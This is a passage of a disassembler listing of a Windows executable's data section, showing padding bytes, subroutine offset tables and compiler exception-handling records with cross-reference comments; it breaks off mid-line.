'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0 align 4 dd 3E3h dup(0) off_43E000 dd offset sub_4017C6 ; DATA XREF: sub_4036D0+3FEo off_43E004 dd offset byte_4367D0 ; DATA XREF: sub_403C70+2o off_43E008 dd offset off_402009 ; DATA XREF: sub_406BA0+2o sub_406C00o off_43E00C dd offset sub_4021F8 ; DATA XREF: ___:00407075o off_43E010 dd offset loc_402171 ; DATA XREF: sub_409AE0+4o ; sub_409B40+Bo ... off_43E014 dd offset loc_402027 ; DATA XREF: sub_40ADC0+2o ; sub_40AE10+1Co dd offset byte_4367D0 align 10h off_43E020 dd offset loc_401ACD ; DATA XREF: ___:0040B118o ; sub_40B170+1Eo flt_43E024 dd 1.0 ; DATA XREF: ___:0040B7C6r off_43E028 dd offset sub_401A3C ; DATA XREF: sub_40F600+157o ; sub_40FDA0+1Do dd offset sub_40212B dd 0 off_43E034 dd offset sub_401AB9 ; DATA XREF: sub_40F600+142o ; sub_40FDA0+23o off_43E038 dd offset loc_40115E ; DATA XREF: sub_411860+36o ; sub_411910+1Do dd offset loc_401FE6 dd 0 off_43E044 dd offset sub_4014BF ; DATA XREF: ___:0041318Do ; sub_413220+1Fo dd offset sub_401CF8 align 10h off_43E050 dd offset sub_4019BF ; DATA XREF: sub_416C00+6o ; sub_417DF0+8o dd offset sub_4020A9 dd 0 off_43E05C dd offset loc_401C99 ; DATA XREF: sub_416C60+6o ; sub_417E20+8o dd offset sub_401230 align 8 off_43E068 dd offset loc_40191A ; DATA XREF: sub_416CC0o sub_41FBD0+8o dd offset sub_401CDF dd 0 off_43E074 dd offset sub_40111D ; DATA XREF: sub_416D10o ; sub_4190B0+36o off_43E078 dd offset loc_4014A1 ; DATA XREF: sub_417BC0+68o off_43E07C dd offset sub_401064 ; DATA XREF: sub_417C60+8Bo off_43E080 dd offset sub_40138E ; DATA XREF: sub_417D30+74o off_43E084 dd offset loc_401B6D ; DATA XREF: sub_417E50+7Bo off_43E088 dd offset loc_40202C ; DATA XREF: sub_417F10+7Bo off_43E08C dd offset loc_401F1E ; DATA XREF: sub_417FD0+3Eo ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] db 1Fh, 40h, 0 off_43E094 dd offset loc_401FD7 ; DATA XREF: sub_418080+3Eo off_43E098 dd offset sub_401E4C ; DATA XREF: sub_418100+3Eo off_43E09C dd offset loc_40100A ; DATA XREF: sub_418180+10o off_43E0A0 dd offset loc_4010B4 ; DATA XREF: sub_4181B0+4Bo off_43E0A4 dd offset sub_401BA4 ; DATA XREF: sub_418230+10o off_43E0A8 dd offset sub_401712 ; DATA XREF: sub_418260+10o off_43E0AC dd offset sub_401613 ; DATA XREF: sub_418290+6Bo dbl_43E0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4198C0+22r dd 0 off_43E0BC dd offset sub_401AF5 ; DATA XREF: sub_41A010+Bo ; sub_41A110+6o off_43E0C0 dd offset sub_401E74 ; DATA XREF: sub_41AFE0+Do sub_41B040o off_43E0C4 dd offset sub_4013FC ; DATA XREF: ___:0041B3A2o ; ___:0041B48Do dd offset sub_40167C align 10h off_43E0D0 dd offset loc_4019E7 ; DATA XREF: sub_41D670+77o ; sub_41D760+1Do dd offset sub_401C80 dd 0 off_43E0DC dd offset sub_4011FE ; DATA XREF: sub_426450+32o dd offset sub_401A64 dd offset sub_401A41 dd 0 off_43E0EC dd offset loc_4016D1 ; DATA XREF: sub_4264C0+6Ao ; sub_426560+1Do dd offset sub_401A64 dd offset byte_4367D0 dd 0 off_43E0FC dd offset loc_401AAF ; DATA XREF: sub_4269A0+32o dd offset sub_401A64 dd offset sub_401366 dd 0 off_43E10C dd offset sub_40181B ; DATA XREF: sub_426EB0+32o dd offset sub_401A64 dd offset sub_401E92 dd 0 off_43E11C dd offset sub_40222A ; DATA XREF: sub_427590+32o dd offset sub_401A64 dd offset sub_401A05 dd 0 off_43E12C dd offset sub_401C2B ; DATA XREF: sub_427DC0+32o dd offset sub_4021A8 dd offset sub_4015AF dd 0 off_43E13C dd offset loc_402068 ; DATA XREF: sub_427E30+7Ao ; sub_427EF0+1Do dd offset sub_4021A8 dd offset byte_4367D0 dd 0 off_43E14C dd offset sub_4021B2 ; DATA XREF: sub_428160+4Bo ; sub_428250+10o dd offset sub_4021A8 dd offset sub_401D2A dd 0 off_43E15C dd offset loc_40112C ; DATA XREF: sub_4299C0+32o ; sub_429A60+9o dd offset sub_4021A8 dd offset sub_40137A dd 0 off_43E16C dd offset loc_401B04 ; DATA XREF: sub_429D00+32o dd offset sub_4021A8 dd offset sub_4010AF dd 0 off_43E17C dd offset sub_4017A8 ; DATA XREF: sub_42A090+32o dd offset sub_4021A8 dd offset sub_40188E dd 0 off_43E18C dd offset sub_4020D1 ; DATA XREF: sub_42B1D0+27o dword_43E190 dd 0 dd 8, 0 off_43E19C dd offset byte_4367D0 ; DATA XREF: sub_42B240+39o off_43E1A0 dd offset sub_401F41 ; DATA XREF: ___:0042B312o dd offset sub_4021A8 dd offset sub_40134D align 10h off_43E1B0 dd offset sub_401B22 ; DATA XREF: sub_42B480+32o dd offset sub_4021A8 dd offset sub_40152D align 10h dd offset loc_4015F0 dd offset sub_4021A8 dd offset sub_4019E2 align 10h dd offset dword_43E348 off_43E1D4 dd offset dword_436800+11h ; DATA XREF: ___:off_4438C0o ; ___:off_4438E0o ... dd 0FFFFFFFFh, 436BACh, 436BC0h, 4Dh dup(0) off_43E318 dd offset off_446CE0 ; DATA XREF: ___:0043E330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43E318 dd 0 db 0 ; DATA XREF: ___:0043E358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 43E330h dword_43E348 dd 3 dup(0) dd offset off_446CE0 dd offset unk_43E338 dd 45h dup(0) dword_43E470 dd 19930520h, 5, 43E490h, 5 dup(0) dd 0FFFFFFFFh, 437B2Ch, 0 dd offset dword_436FCC+0B34h dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0) dword_43E4C0 dd 19930520h, 3Dh, 43E4E0h, 5 dup(0) dd 0FFFFFFFFh, 437B70h, 0 dd offset loc_437B7B dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h, 0Dh, 437C2Eh, 0Eh dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h, 11h, 437C66h, 12h dd 437C74h, 13h, 437C82h, 14h, 437C90h, 15h, 437C9Eh, 16h dd 437CACh, 17h, 437CBAh, 18h, 437CC8h, 19h, 437CD6h, 1Ah dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h, 1Dh, 437D0Eh, 1Eh dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h, 21h, 437D46h, 22h dd 437D54h, 23h, 437D62h, 24h, 437D70h, 25h, 437D7Eh, 26h dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h, 29h, 437DB6h, 2Ah dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h, 2Dh, 437DEEh, 2Eh dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h, 31h, 437E26h, 32h dd 437E34h, 33h, 437E42h, 34h, 437E50h, 35h, 437E5Eh, 36h dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h, 39h, 437E96h, 3Ah dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0) dword_43E700 dd 19930520h, 1, 43E720h, 5 dup(0) dd 0FFFFFFFFh, 437FA0h, 2 dup(0) dword_43E730 dd 19930520h, 2, 43E750h, 5 dup(0) dd 0FFFFFFFFh, 437FC0h, 0 dd offset loc_437FC8 dd 2 dup(0) dword_43E768 dd 19930520h, 2, 43E788h, 5 dup(0) dd 0FFFFFFFFh, 437FF0h, 0 dd offset loc_437FF8 align 10h dword_43E7A0 dd 19930520h, 1, 43E7C0h, 5 dup(0) dd 0FFFFFFFFh, 438020h, 2 dup(0) dword_43E7D0 dd 19930520h, 7, 43E7F0h, 5 dup(0) dd 0FFFFFFFFh, 438040h, 0 dd offset loc_438048 dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh dd 2 dup(0) dword_43E830 dd 19930520h, 7, 43E850h, 5 dup(0) dd 0FFFFFFFFh, 4380C0h, 0 dd offset loc_4380C8 dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh dd 2 dup(0) dword_43E890 dd 19930520h, 11h, 43E8B0h, 5 dup(0) dd 0FFFFFFFFh, 438140h, 0FFFFFFFFh, 438148h, 0FFFFFFFFh dd 438150h, 0FFFFFFFFh, 438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh dd 438168h, 0FFFFFFFFh, 438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh dd 438180h, 0FFFFFFFFh, 438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh dd 438198h, 0FFFFFFFFh, 4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h, 4 dup(0) dword_43E948 dd 19930520h, 0Bh, 43E968h, 5 dup(0) dd 0FFFFFFFFh, 438200h, 0 dd offset loc_438208 dd 0FFFFFFFFh, 438210h, 2, 438218h, 0FFFFFFFFh, 438220h dd 0FFFFFFFFh, 438228h, 0FFFFFFFFh, 438230h, 0FFFFFFFFh dd 438238h, 7, 438243h, 7, 43824Bh, 9, 438253h, 4 dup(0) dword_43E9D0 dd 19930520h, 31h, 43E9F0h, 5 dup(0) dd 0FFFFFFFFh, 438280h, 0 dd offset loc_43828B dd 0 dd offset loc_438296 dd 0FFFFFFFFh, 4382A1h, 0FFFFFFFFh, 4382ACh, 4, 4382B7h dd 0FFFFFFFFh, 4382C2h, 6, 4382CDh, 6, 4382D8h, 8, 4382E3h dd 0FFFFFFFFh, 4382EEh, 0Ah, 4382F9h, 0Ah, 438304h, 0Ah dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h, 0Ah, 438330h, 0FFFFFFFFh dd 43833Bh, 11h, 438346h, 11h, 438351h, 0FFFFFFFFh, 43835Ch dd 0FFFFFFFFh, 438367h, 15h, 438372h, 0FFFFFFFFh, 43837Dh dd 0FFFFFFFFh, 438388h, 18h, 438393h, 0FFFFFFFFh, 43839Eh dd 0FFFFFFFFh, 4383A9h, 0FFFFFFFFh, 4383B4h, 0FFFFFFFFh dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h, 1Dh, 4383E0h, 1Dh dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h, 22h, 43840Ch, 22h dd 438417h, 22h, 438422h, 22h, 43842Dh, 22h, 438438h, 22h dd 438443h, 22h, 43844Eh, 22h, 438459h, 22h, 438464h, 22h dd 43846Fh, 22h, 43847Ah, 22h, 438485h, 22h, 438490h, 0Ch dup(0) dword_43EBA8 dd 19930520h, 2, 43EBC8h, 5 dup(0) dd 0FFFFFFFFh, 438538h, 0 dd offset loc_438530 align 10h dword_43EBE0 dd 19930520h, 2, 43EC00h, 5 dup(0)dword_43EC00 dd 0FFFFFFFFh, 43857Bh, 0 dd offset loc_438570 dd 2 dup(0) dword_43EC18 dd 19930520h, 3, 43EC38h, 5 dup(0) dd 0FFFFFFFFh, 4385B0h, 0 dd offset loc_4385BB dd 0 dd offset loc_4385C6 dd 2 dup(0) dword_43EC58 dd 19930520h, 1, 43EC78h, 5 dup(0) dd 0FFFFFFFFh, 4385F0h, 2 dup(0) dword_43EC88 dd 19930520h, 1, 43ECA8h, 5 dup(0) dd 0FFFFFFFFh, 438610h, 2 dup(0) dword_43ECB8 dd 19930520h, 2, 43ECD8h, 5 dup(0) dd 0FFFFFFFFh, 438630h, 0 dd offset loc_438638 align 10h dword_43ECF0 dd 19930520h, 56h, 43ED10h, 5 dup(0) dd 0FFFFFFFFh, 438650h, 0 dd offset loc_43865B dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h, 0Dh, 4386DEh, 0Eh dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh, 11h, 43870Ah, 12h dd 438715h, 13h, 438720h, 14h, 43872Bh, 15h, 438736h, 16h dd 438741h, 17h, 43874Ch, 18h, 438757h, 19h, 438762h, 1Ah dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h, 1Dh, 43878Eh, 1Eh dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh, 1Eh, 4387BAh, 1Eh dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh, 1Eh, 4387E6h, 1Eh dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh, 1Eh, 438807h, 2Ah dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh, 2Dh, 438828h, 1Eh dd 438828h, 1Eh, 438833h, 30h, 43883Eh, 1Eh, 43883Eh, 1Eh dd 438849h, 33h, 438854h, 1Eh, 438854h, 1Eh, 43885Fh, 36h dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h, 39h, 438880h, 1Eh dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h, 1Eh, 438896h, 1Eh dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh, 1Eh, 4388B7h, 42h dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh, 45h, 4388D8h, 1Eh dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh, 1Eh, 4388EEh, 1Eh dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h, 1Eh, 43890Fh, 4Eh dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h, 51h, 438930h, 52h dd 43893Bh, 53h, 438946h, 54h, 438951h, 13h dup(0) dd offset off_4438C0 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 436800h, 2 dup(0) dd offset off_4438E0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 436C2Ah, 2 dup(0) dd offset off_443908 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 436C30h, 0 dword_43F068 dd 3, 43F048h, 43F028h, 43F008h, 2 dup(0)dword_43F080 dd 0 ; ___:0040A997o dd offset dword_436A64+1D2h dd 0 dd offset dword_43F068 dd 2 dup(0) dword_43F098 dd 19930520h, 1, 43F0B8h, 5 dup(0) dd 0FFFFFFFFh, 438A30h, 2 dup(0) dword_43F0C8 dd 19930520h, 1, 43F0E8h, 5 dup(0) dd 0FFFFFFFFh, 438A50h, 2 dup(0) dword_43F0F8 dd 19930520h, 3, 43F118h, 5 dup(0) dd 0FFFFFFFFh, 438A70h, 0 dd offset loc_438A87 dd 1, 438A8Fh, 2 dup(0) dword_43F138 dd 19930520h, 1, 43F158h, 5 dup(0) dd 0FFFFFFFFh, 438AB0h, 2 dup(0) dword_43F168 dd 19930520h, 2, 43F188h, 1, 43F198h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 43F1B0h, 4 dup(0) dd offset sub_40AE52 dd 2 dup(0) dword_43F1C8 dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 43F210h, 4 dup(0) dd offset sub_40AFD1 dd 2 dup(0) dword_43F228 dd 19930520h, 4, 43F248h, 5 dup(0) dd 0FFFFFFFFh, 438AF0h, 0 dd offset loc_438AFB dd 1, 438B06h, 2, 438B11h, 2 dup(0) dword_43F270 dd 19930520h, 4, 43F290h, 5 dup(0) dd 0FFFFFFFFh, 438B40h, 0 dd offset loc_438B4B dd 1, 438B56h, 2, 438B61h, 2 dup(0) dword_43F2B8 dd 19930520h, 3, 43F2D8h, 5 dup(0) dd 0FFFFFFFFh, 438B90h, 0FFFFFFFFh, 438B98h, 0FFFFFFFFh dd 438BA0h, 2 dup(0) dword_43F2F8 dd 19930520h, 3, 43F318h, 5 dup(0) dd 0FFFFFFFFh, 438BC0h, 0 dd offset loc_438BC8 dd 1, 438BD0h, 2 dup(0) dword_43F338 dd 19930520h, 1, 43F358h, 5 dup(0) dd 0FFFFFFFFh, 438BF0h, 2 dup(0) dword_43F368 dd 19930520h, 4, 43F388h, 5 dup(0) dd 0FFFFFFFFh, 438C10h, 0FFFFFFFFh, 438C18h, 0FFFFFFFFh dd 438C20h, 2, 438C28h, 2 dup(0) dword_43F3B0 dd 19930520h, 1, 43F3D0h, 5 dup(0) dd 0FFFFFFFFh, 438C50h, 2 dup(0) dword_43F3E0 dd 19930520h, 4, 43F400h, 5 dup(0) dd 0FFFFFFFFh, 438C70h, 0 dd offset loc_438C7B dd 0 dd offset loc_438C86 dd 2, 438C91h, 2 dup(0) dword_43F428 dd 19930520h, 1, 43F448h, 5 dup(0) dd 0FFFFFFFFh, 438CC0h, 2 dup(0) dword_43F458 dd 19930520h, 5, 43F478h, 5 dup(0) dd 0FFFFFFFFh, 438CE0h, 0 dd offset loc_438CEB dd 0 dd offset loc_438CF6 dd 0 dd offset loc_438D01 dd 0 dd offset loc_438D0C dd 2 dup(0) dword_43F4A8 dd 19930520h, 2, 43F4C8h, 5 dup(0) dd 0FFFFFFFFh, 438D40h, 0 dd offset loc_438D4B align 10h dword_43F4E0 dd 19930520h, 2, 43F500h, 5 dup(0) dd 0FFFFFFFFh, 438D70h, 0 dd offset loc_438D7B dd 2 dup(0) dword_43F518 dd 19930520h, 4, 43F538h, 5 dup(0) dd 0FFFFFFFFh, 438DA0h, 0FFFFFFFFh, 438DA8h, 0FFFFFFFFh dd 438DB0h, 0FFFFFFFFh, 438DB8h, 2 dup(0) dword_43F560 dd 19930520h, 8, 43F580h, 5 dup(0) dd 0FFFFFFFFh, 438DE0h, 0 dd offset loc_438DEB dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h dd 1, 438E2Dh, 4 dup(0) dword_43F5D0 dd 19930520h, 0Dh, 43F5F0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0FFFFFFFFh, 438E6Bh, 1, 438E76h dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh dd 438EE4h, 4 dup(0) dword_43F668 dd 19930520h, 6, 43F688h, 5 dup(0) dd 0FFFFFFFFh, 438F20h, 0 dd offset loc_438F28 dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0) dword_43F6C0 dd 19930520h, 6, 43F6E0h, 5 dup(0) dd 0FFFFFFFFh, 438F70h, 0 dd offset loc_438F78 dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0) dword_43F718 dd 19930520h, 3, 43F738h, 5 dup(0) dd 0FFFFFFFFh, 438FC0h, 0 dd offset loc_438FC8 dd 1, 438FD0h, 2 dup(0) dword_43F758 dd 19930520h, 1, 43F778h, 5 dup(0) dd 0FFFFFFFFh, 438FF0h, 2 dup(0) dword_43F788 dd 19930520h, 7, 43F7A8h, 5 dup(0) dd 0FFFFFFFFh, 439010h, 0 dd offset loc_439018 dd 0FFFFFFFFh, 439020h, 0FFFFFFFFh, 439028h, 3, 439030h dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0) dword_43F7E8 dd 19930520h, 24h, 43F808h, 5 dup(0) dd 0FFFFFFFFh, 439070h, 0 dd offset loc_439078 dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h, 0Dh, 439125h, 0Eh dd 439133h, 0Fh, 439141h, 10h, 43914Fh, 11h, 43915Dh, 11h dd 439165h, 11h, 43916Dh, 11h, 439175h, 11h, 43917Dh, 11h dd 439185h, 11h, 43918Dh, 11h, 439195h, 11h, 43919Dh, 11h dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h, 11h, 4391BDh, 11h dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h, 11h, 4391DDh, 11h dd 4391E5h, 8 dup(0) dword_43F948 dd 19930520h, 11h, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 439260h, 0 dd offset loc_439268 dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h, 0Dh, 439315h, 0Eh dd 439323h, 0Fh, 439331h, 4 dup(0) dword_43FA00 dd 19930520h, 38h, 43FA20h, 5 dup(0) dd 0FFFFFFFFh, 439390h, 0 dd offset loc_43939B dd 1, 4393A6h, 0 dd offset loc_4393B1 dd 0 dd offset loc_4393BC dd 0 dd offset loc_4393C7 dd 0 dd offset loc_4393D2 dd 0 dd offset loc_4393DD dd 0 dd offset loc_4393E8 dd 0 dd offset loc_4393F3 dd 9, 4393FEh, 0 dd offset loc_439409 dd 0 dd offset loc_439414 dd 0 dd offset loc_43941F dd 0 dd offset loc_43942A dd 0Eh, 439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch dd 0Eh, 43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh dd 0 dd offset loc_439499 dd 0 dd offset loc_4394A4 dd 0 dd offset loc_4394B2 dd 0 ; --------------------------------------------------------------------------- rcl byte ptr [ebx+eax*2+1A00h], 0 retf ; --------------------------------------------------------------------------- db 94h, 43h, 0 dd 1Bh, 4394D6h, 0 dd offset loc_4394E1 dd 1Dh, 4394ECh, 0 dd 